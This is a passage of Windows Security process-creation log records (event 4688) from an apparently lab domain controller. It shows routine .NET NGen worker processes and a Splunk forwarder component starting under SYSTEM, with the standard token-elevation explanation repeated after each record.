	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 654 -InterruptEvent 0 -NGENProcess 640 -Pipe 5dc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255018
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10d4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5a0 -InterruptEvent 0 -NGENProcess 5f4 -Pipe 654 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255017
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x678
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5d8 -InterruptEvent 0 -NGENProcess 560 -Pipe 464 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255016
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4a8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 630 -InterruptEvent 0 -NGENProcess 654 -Pipe 650 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255015
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x130c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 638 -InterruptEvent 0 -NGENProcess 610 -Pipe 640 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255014
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbcc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 560 -InterruptEvent 0 -NGENProcess 5bc -Pipe 624 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255013
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9cc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5cc -InterruptEvent 0 -NGENProcess 5f4 -Pipe 404 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255012
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 404 -InterruptEvent 0 -NGENProcess 5cc -Pipe 5b4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255011
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1038
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5f4 -InterruptEvent 0 -NGENProcess 610 -Pipe 614 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255023
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeec
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5a0 -InterruptEvent 0 -NGENProcess 630 -Pipe 644 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255022
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x84c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 64c -InterruptEvent 0 -NGENProcess 678 -Pipe 5bc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255021
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4cc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5bc -InterruptEvent 0 -NGENProcess 64c -Pipe 610 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255020
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12b4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 560 -InterruptEvent 0 -NGENProcess 66c -Pipe 5f4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255019
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5f4 -InterruptEvent 0 -NGENProcess 560 -Pipe 5cc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255027
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xda8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 648 -InterruptEvent 0 -NGENProcess 61c -Pipe 690 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255026
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11dc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 678 -InterruptEvent 0 -NGENProcess 684 -Pipe 664 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255025
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 658 -InterruptEvent 0 -NGENProcess 5fc -Pipe 668 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255024
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1158
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 668 -InterruptEvent 0 -NGENProcess 658 -Pipe 670 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255032
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x960
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

